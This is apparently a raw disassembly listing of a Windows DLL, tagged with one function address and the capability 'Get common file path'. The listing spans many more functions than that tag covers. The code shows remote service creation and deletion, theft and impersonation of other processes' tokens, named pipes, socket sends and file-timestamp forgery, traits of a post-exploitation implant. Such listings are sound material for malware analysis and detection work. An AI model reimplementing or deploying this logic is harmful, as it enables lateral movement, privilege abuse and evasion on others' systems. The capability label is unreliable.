Function at 0x18000fc90
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0x6000
mov ebx, edx
call fcn.180015378
mov r12d, 0x2000
mov rcx, rax
mov edx, r12d
mov r15, rax
call fcn.18001546c
mov edx, r12d
mov rcx, r15
mov r14, rax
call fcn.18001546c
mov edx, r12d
mov rcx, r15
mov rsi, rax
call fcn.18001546c
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov rbp, rax
call fcn.180015424
lea rcx, [rsp + 0x20]
mov r8d, r12d
mov rdx, r14
call fcn.1800154cc
mov r8d, r12d
mov rdx, rsi
mov rcx, r14
call fcn.1800123cc
lea rcx, [rsp + 0x20]
mov r8d, r12d
mov rdx, rbp
call fcn.1800154cc
mov rcx, rsi
call fcn.18000c9cc
mov r8d, r12d
mov rcx, r14
lea rdx, [rax + 4]
mov rbx, rax
mov dword [rax], 1
call fcn.1800123cc
lea rdx, [rbx + 0x2004]
mov r8d, r12d
mov rcx, rbp
call fcn.1800123cc
mov rcx, r15
call fcn.180015400
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, qword [0x18003f460]
mov rdi, rcx
lea rcx, [rsp + 0x20]
mov edx, 0x8000
call fcn.18000d0c4
jmp 0x18000c8c5
cmp dword [rbx], 1
jne 0x18000c8be
lea r8, [rbx + 0x2004]
lea rdx, [0x18002c750]
lea rcx, [rsp + 0x20]
call fcn.18000d124
mov rbx, qword [rbx + 0x4008]
test rbx, rbx
jne 0x18000c8a1
lea rcx, [rsp + 0x20]
call fcn.180015468
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d184
xor r8d, r8d
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x20]
call fcn.18000d0a0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
cmp edx, 0x3ff
jg 0x18000f751
push rbx
sub rsp, 0x430
mov rax, qword [0x18003e040]
xor rax, rsp
mov qword [rsp + 0x420], rax
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
mov r8, rbx
call fcn.18001a100
lea rcx, [rsp + 0x20]
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov rcx, qword [rsp + 0x420]
xor rcx, rsp
call fcn.18001ab10
add rsp, 0x430
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0x8000
mov ebx, edx
call fcn.180015378
mov r13d, 0x2000
mov rcx, rax
mov edx, r13d
mov r12, rax
call fcn.18001546c
mov edx, r13d
mov rcx, r12
mov rbp, rax
call fcn.18001546c
mov edx, r13d
mov rcx, r12
mov rsi, rax
call fcn.18001546c
mov edx, r13d
mov rcx, r12
mov r14, rax
call fcn.18001546c
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov r15, rax
call fcn.180015424
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rbp
call fcn.1800154cc
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, r14
call fcn.1800154cc
lea rcx, [rsp + 0x20]
call fcn.180015494
mov r8d, r13d
mov rdx, rsi
mov rcx, rbp
movzx ebx, ax
call fcn.1800123cc
mov r9d, r13d
mov r8, rsi
mov edx, r13d
mov rcx, r15
call fcn.18001b7ac
mov r9d, r13d
mov r8, r14
mov edx, r13d
mov rcx, r15
call fcn.18001b7ac
test bl, 1
je 0x18000f883
lea rcx, [rsp + 0x80]
call fcn.180012450
movzx r8d, bx
or rax, 0xffffffffffffffff
inc rax
cmp byte [r15 + rax], 0
jne 0x18000f85f
lea edx, [rax + 1]
mov rcx, r15
call fcn.1800104f4
mov rcx, qword [rsp + 0x80]
call fcn.180012488
jmp 0x18000f8a0
movzx r8d, bx
or rax, 0xffffffffffffffff
inc rax
cmp byte [r15 + rax], 0
jne 0x18000f88b
lea edx, [rax + 1]
mov rcx, r15
call fcn.1800104f4
mov rcx, r12
call fcn.180015400
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x3d0]
sub rsp, 0x4d0
mov rax, qword [0x18003e040]
xor rax, rsp
mov qword [rbp + 0x3c0], rax
mov rsi, rcx
movsxd rdi, edx
mov ebx, 0x68
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, ebx
call fcn.180019f30
xor eax, eax
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], ebx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor r14d, r14d
mov word [rbp - 0x70], r14w
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x60], r14
mov dword [rbp - 0x74], 0x101
cmp edi, 0x3ff
jg 0x18000f98f
lea rcx, [rbp - 0x40]
mov r8, rdi
mov rdx, rsi
call fcn.18001a100
cmp rdi, 0x400
jae 0x18000f9b6
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x50]
lea rcx, [rbp - 0x40]
mov edx, edi
mov dword [rsp + 0x28], r14d
mov byte [rbp + rdi - 0x40], r14b
mov dword [rsp + 0x20], r14d
call fcn.180012fac
mov rcx, qword [rbp + 0x3c0]
xor rcx, rsp
call fcn.18001ab10
lea r11, [rsp + 0x4d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.18001acc0
int3
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180015424
lea rcx, [rsp + 0x20]
call fcn.180015434
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x48
ret
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xc0
mov rax, qword [0x18003e040]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x70], r8
mov edi, edx
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x6800
lea r12d, [rax + 0x4e20]
call fcn.180015378
mov ebp, 0x400
mov rcx, rax
mov edx, ebp
mov r14, rax
call fcn.18001546c
mov edx, ebp
mov rcx, r14
mov rsi, rax
call fcn.18001546c
mov edx, 0x4000
mov rcx, r14
mov rbp, rax
call fcn.18001546c
mov edx, 0x2000
mov rcx, r14
mov r13, rax
call fcn.18001546c
lea rcx, [rsp + 0x78]
mov r8d, edi
mov rdx, rbx
mov r15, rax
call fcn.180015424
mov ebx, 0x400
lea rcx, [rsp + 0x78]
mov r8d, ebx
mov rdx, rsi
call fcn.1800154cc
lea rcx, [rsp + 0x78]
mov r8d, ebx
mov rdx, rbp
call fcn.1800154cc
lea rcx, [rsp + 0x78]
mov r8d, 0x4000
mov rdx, r13
call fcn.1800154cc
xor edx, edx
mov r8d, 0xf003f
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
xor eax, eax
test rdi, rdi
jne 0x18000faf0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rdi + 0x33]
mov rdx, rsi
mov r8d, eax
call fcn.18000d5f4
jmp 0x18000fc5d
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], eax
mov r9d, 0xf01ff
xor r8d, r8d
mov rdx, rbp
mov rcx, rdi
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rbx, rax
test rax, rax
jne 0x18000fb63
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._s_on__s:__d
lea ecx, [rbx + 0x36]
mov r9, rsi
mov r8, rbp
mov dword [rsp + 0x20], eax
call fcn.18000d49c
jmp 0x18000fc54
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x18000fb8f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x41d
je 0x18000fb8f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, gethostname
jmp 0x18000fc07
lea r8, str.Started_service__s_on__s
mov r9, rbp
mov edx, 0x2000
mov rcx, r15
mov qword [rsp + 0x20], rsi
call fcn.18001a03c
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [r15 + rdx], 0
jne 0x18000fbaf
xor r8d, r8d
mov rcx, r15
call qword [rsp + WSAStartup]
jmp 0x18000fbef
lea rdx, [rsp + 0x90]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x18000fbfc
cmp dword [rsp + 0x94], 1
je 0x18000fc1d
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, r12d
jb 0x18000fbc5
jmp 0x18000fc1d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, gethostname
lea rdx, str._s_on__s:__d
mov r9, rsi
mov r8, rbp
mov dword [rsp + 0x20], eax
call fcn.18000d49c
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x18000fc4b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._s_on__s:__d
mov r9, rsi
mov r8, rbp
mov ecx, reloc.WS2_32.dll_gethostname
mov dword [rsp + 0x20], eax
call fcn.18000d49c
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, r14
call fcn.180015400
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.18001ab10
mov rbx, qword [rsp + 0x118]
add rsp, 0xc0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
push rbx
sub rsp, 0x830
mov rax, qword [0x18003e040]
xor rax, rsp
mov qword [rsp + 0x820], rax
mov rbx, rcx
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x7ff
mov byte [rsp + 0x20], 0
call fcn.180019f30
lea rdx, [rsp + 0x20]
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x18000fce8
lea rcx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_send
mov edx, eax
call rbx
mov rcx, qword [rsp + 0x820]
xor rcx, rsp
call fcn.18001ab10
add rsp, 0x830
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0x4c00
mov ebx, edx
call fcn.180015378
mov edx, 0x4000
mov rcx, rax
mov r15, rax
call fcn.18001546c
mov r13d, 0x400
mov rcx, r15
mov edx, r13d
mov rsi, rax
call fcn.18001546c
mov edx, r13d
mov rcx, r15
mov r12, rax
call fcn.18001546c
mov edx, r13d
mov rcx, r15
mov rbp, rax
call fcn.18001546c
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov r14, rax
call fcn.180015424
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, r12
call fcn.1800154cc
test eax, eax
je 0x18000fdf8
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rbp
call fcn.1800154cc
test eax, eax
je 0x18000fdf8
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, r14
call fcn.1800154cc
test eax, eax
je 0x18000fdf8
lea rcx, [rsp + 0x20]
mov r8d, 0x4000
mov rdx, rsi
call fcn.1800154cc
test eax, eax
je 0x18000fdf8
call fcn.18001977c
mov r9, rsi
mov r8, r14
mov rdx, rbp
mov rcx, r12
call fcn.1800105f8
call fcn.1800197ac
mov rcx, r15
call fcn.180015400
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
mov rdi, rcx
mov ebx, edx
mov esi, 0x68
lea rcx, [rbp - 0x29]
xor edx, edx
mov r8d, esi
call fcn.180019f30
xor eax, eax
lea rcx, [rbp - 0x29]
mov dword [rbp - 0x29], esi
mov qword [rbp - 0x59], rax
mov qword [rbp - 0x51], rax
mov qword [rbp - 0x49], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor r12d, r12d
mov r15d, 0x2000
mov dword [rbp + 0x13], 0x101
mov word [rbp + 0x17], r12w
mov ecx, r15d
mov qword [rbp + 0x2f], r12
mov qword [rbp + 0x37], r12
mov qword [rbp + 0x27], r12
call fcn.180015378
mov edx, r15d
mov rcx, rax
mov r14, rax
call fcn.18001546c
lea rcx, [rbp - 0x41]
mov r8d, ebx
mov rdx, rdi
mov rsi, rax
call fcn.180015424
lea rcx, [rbp - 0x41]
call fcn.180015434
lea rcx, [rbp - 0x41]
mov r8d, r15d
mov rdx, rsi
mov ebx, eax
call fcn.1800154cc
mov r15, qword [0x180049790]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x18000ff4f
lea r8, [0x180049790]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18000ff4f
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rsi + rdx], r12b
jne 0x18000ff0d
mov dword [rsp + 0x30], ebx
lea r9, [rbp - 0x59]
lea r8, [rbp - 0x29]
mov rcx, rsi
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call fcn.180012fd4
mov rcx, qword [0x180049790]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000ff64
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, ebx
mov ecx, 0x1e
mov r8d, eax
call fcn.18000d514
mov rcx, r14
mov qword [0x180049790], r15
call fcn.180015400
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
jmp 0x1800291d8
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180015424
lea rcx, [rsp + 0x20]
call fcn.180015434
lea rcx, [rsp + 0x20]
mov dword [section..data], eax
call fcn.180015434
xor edx, edx
lea ecx, [rax - 1]
cmp ecx, 0x62
cmova eax, edx
mov dword [0x18003f468], eax
add rsp, 0x48
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov ebx, edx
mov rdi, rcx
or rsi, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
lea ebp, [rax + 0xea60]
call fcn.180015424
lea rcx, [rsp + 0x20]
call fcn.180015544
lea rcx, [rsp + 0x20]
mov r14, rax
call fcn.180015434
lea rcx, [rsp + 0x20]
mov r15d, eax
call fcn.1800153e8
lea rcx, [rsp + 0x20]
mov rbx, rax
call fcn.180015468
mov edi, eax
call fcn.18000e0c8
jmp 0x180010076
mov edx, r15d
mov rcx, r14
call fcn.180010854
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800100b6
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, ebp
jb 0x180010057
mov ecx, 0x46
call fcn.18000d5d4
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rsi
call sub.WS2_32.dll_closesocket
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
xor r9d, r9d
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call sub.WS2_32.dll_send
jmp 0x18001008a
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xf0
mov rax, qword [0x18003e040]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov edi, edx
mov rbx, rcx
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp - 0x61]
mov r8d, edi
mov rdx, rbx
lea r14d, [rax + 0xea60]
call fcn.180015424
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x61]
mov r8d, 0x80
call fcn.1800154cc
lea rcx, [rbp - 0x61]
call fcn.1800153e8
lea rcx, [rbp - 0x61]
mov rdi, rax
call fcn.180015468
xor ebx, ebx
mov dword [rbp - 0x79], eax
lea rdx, [rbp - 0x71]
lea rcx, [rbp - 0x49]
call fcn.180013de4
test eax, eax
jne 0x180010199
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x35
je 0x18001017d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, r14d
jae 0x18001017d
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jb 0x180010144
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rbp - 0x49]
mov ecx, gethostbyname
mov r8d, eax
call fcn.18000d5f4
jmp 0x18001021c
mov rcx, qword [rbp - 0x71]
and qword [rsp + 0x20], rsi
lea r9, [rbp - 0x69]
lea rdx, [rbp - 0x79]
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rbp - 0x79]
test eax, eax
je 0x1800101f3
mov ebx, 0x2000
mov rcx, qword [rbp - 0x71]
sub eax, esi
mov edx, esi
cmp eax, ebx
lea r9, [rbp - 0x69]
cmova eax, ebx
and qword [rsp + 0x20], 0
add rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1800101f3
add esi, dword [rbp - 0x69]
mov eax, dword [rbp - 0x79]
cmp esi, eax
jb 0x1800101c2
mov rcx, qword [rbp - 0x71]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, qword [rbp - 0x71]
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rbp - 0x71]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.18001ab10
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x780]
sub rsp, 0x880
mov rax, qword [0x18003e040]
xor rax, rsp
mov qword [rbp + 0x770], rax
mov rbx, rcx
mov edi, edx
lea rcx, [rsp + 0x71]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x70], 0
call fcn.180019f30
lea rcx, [rbp + 0x371]
xor edx, edx
mov r8d, 0x3ff
mov byte [rbp + 0x370], 0
call fcn.180019f30
lea rcx, [rsp + 0x58]
mov r8d, edi
mov rdx, rbx
call fcn.180015424
mov ebx, 0x400
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x58]
mov r8d, ebx
call fcn.1800154cc
test eax, eax
je 0x1800103ee
lea rdx, [rbp + 0x370]
lea rcx, [rsp + 0x58]
mov r8d, ebx
call fcn.1800154cc
test eax, eax
je 0x1800103ee
and qword [rsp + 0x30], 0
mov edi, 3
lea rcx, [rsp + 0x70]
lea r8d, [rdi - 2]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x2000080
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
test rax, rax
jne 0x180010340
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rsp + 0x70]
mov r8d, eax
mov ecx, gethostbyname
call fcn.18000d5f4
jmp 0x1800103ee
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x180010369
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 9
jmp 0x1800103de
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rsp + 0x30], 0
xor r9d, r9d
lea r8d, [r9 + 2]
lea rcx, [rbp + 0x370]
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
test rax, rax
jne 0x1800103b7
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rbp + 0x370]
jmp 0x18001032e
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x1800103e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0xa
mov edx, eax
call fcn.18000d508
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x770]
xor rcx, rsp
call fcn.18001ab10
lea r11, [rsp + 0x880]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rbp, rcx
mov ecx, 0x400
mov rbx, r8
mov esi, edx
call fcn.180019c7c
mov rdi, rax
test rax, rax
je 0x1800104dd
lea rcx, [rsp + 0x20]
mov r8d, esi
mov rdx, rbp
call fcn.180015424
lea rcx, [rsp + 0x20]
mov r8d, 0x400
mov rdx, rdi
call fcn.1800154cc
mov rcx, rdi
test eax, eax
jne 0x180010477
call fcn.180019c3c
jmp 0x1800104dd
mov rdx, rbx
call fcn.18001b580
mov rsi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1800104c3
lea rcx, [rsp + 0x20]
call fcn.180015468
lea rcx, [rsp + 0x20]
movsxd rbx, eax
call fcn.1800153e8
mov r9, rsi
mov r8, rbx
mov edx, 1
mov rcx, rax
call fcn.18001b71c
mov rcx, rsi
call fcn.18001b440
mov rcx, rdi
jmp 0x180010470
mov rcx, rdi
call fcn.180019c3c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 8
mov edx, eax
call fcn.18000d508
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x230
mov rax, qword [0x18003e040]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rdi, rcx
mov rcx, qword [0x18003d020]
or rbx, 0xffffffffffffffff
cmp rcx, rbx
je 0x180010955
mov edx, 0x3a98
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x18003d018]
cmp rcx, rbx
je 0x1800109c1
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x18001097f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_inet_ntoa
mov edx, eax
call fcn.18000d508
jmp 0x1800109cb
mov rcx, qword [0x18003d018]
lea rdx, [rsp + 0x20]
mov r8d, 0x200
mov qword [0x180049790], rcx
call fcn.1800197dc
test eax, eax
je 0x1800109cb
lea rax, [rsp + 0x20]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1800109a6
lea rcx, [rsp + 0x20]
mov rdx, rbx
mov r8d, reloc.WS2_32.dll_ntohs
call rdi
jmp 0x1800109cb
mov ecx, 1
call fcn.18000d5d4
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.18001ab10
mov rbx, qword [rsp + 0x248]
add rsp, 0x230
pop rdi
ret
cmp edx, 0x100
jge 0x180010ab4
push rbx
sub rsp, 0x150
mov rax, qword [0x18003e040]
xor rax, rsp
mov qword [rsp + 0x140], rax
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x40]
mov r8, rbx
call fcn.18001a590
cmp rbx, 0x100
jae 0x180010ab5
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
or rax, 0xffffffffffffffff
lea rcx, [rsp + 0x40]
lea edx, [rax + 4]
lea r9d, [rax + 3]
lea r8d, [rax + 5]
mov byte [rsp + rbx + 0x40], 0
mov qword [0x18003d018], rax
mov qword [0x18003d010], rax
mov qword [0x18003d020], rax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [0x18003d010], rax
test rax, rax
je 0x180010a9c
lea rcx, [0x180010cdc]
xor edx, edx
call fcn.1800190d8
mov qword [0x18003d020], rax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.18001ab10
add rsp, 0x150
pop rbx
ret
call fcn.18001acc0
int3
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rdi, rcx
mov ebx, edx
lea rcx, [rsp + 0x20]
mov edx, 0x8000
mov rsi, r8
call fcn.18000d0c4
cmp qword [0x180049790], 0
je 0x180010b0e
call fcn.18001977c
mov r8, qword [0x180049790]
lea r9, [rsp + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.180010dc8
call fcn.1800197ac
jmp 0x180010b56
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180010b4c
mov r8, qword [rsp + 0x68]
lea r9, [rsp + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.180010dc8
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180010b56
mov ecx, 0x3b
call fcn.18000d5d4
lea rcx, [rsp + 0x20]
call fcn.180015468
test eax, eax
je 0x180010b84
lea rcx, [rsp + 0x20]
call fcn.180015468
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d184
xor r8d, r8d
mov rcx, rax
mov edx, ebx
call rsi
lea rcx, [rsp + 0x20]
call fcn.18000d0a0
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0x200
mov ebx, edx
call fcn.180015378
mov edx, pe_nt_image_headers64
mov rcx, rax
mov r14, rax
call fcn.18001546c
mov edx, pe_nt_image_headers64
mov rcx, r14
mov rsi, rax
call fcn.18001546c
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov rbp, rax
call fcn.180015424
lea rcx, [rsp + 0x20]
mov r8d, pe_nt_image_headers64
mov rdx, rsi
call fcn.1800154cc
test eax, eax
je 0x180010cb9
lea rcx, [rsp + 0x20]
mov r8d, pe_nt_image_headers64
mov rdx, rbp
call fcn.1800154cc
test eax, eax
je 0x180010cb9
cmp qword [0x18003d020], 0xffffffffffffffff
je 0x180010cb9
mov rcx, rsi
call fcn.180011030
test eax, eax
jne 0x180010c97
mov rdx, rbp
mov rcx, rsi
call fcn.180010f10
test eax, eax
jne 0x180010c6a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, ntohl
mov edx, eax
call fcn.18000d508
jmp 0x180010cb9
mov rcx, rsi
call fcn.180011030
test eax, eax
jne 0x180010c97
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x41d
je 0x180010c97
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x1a
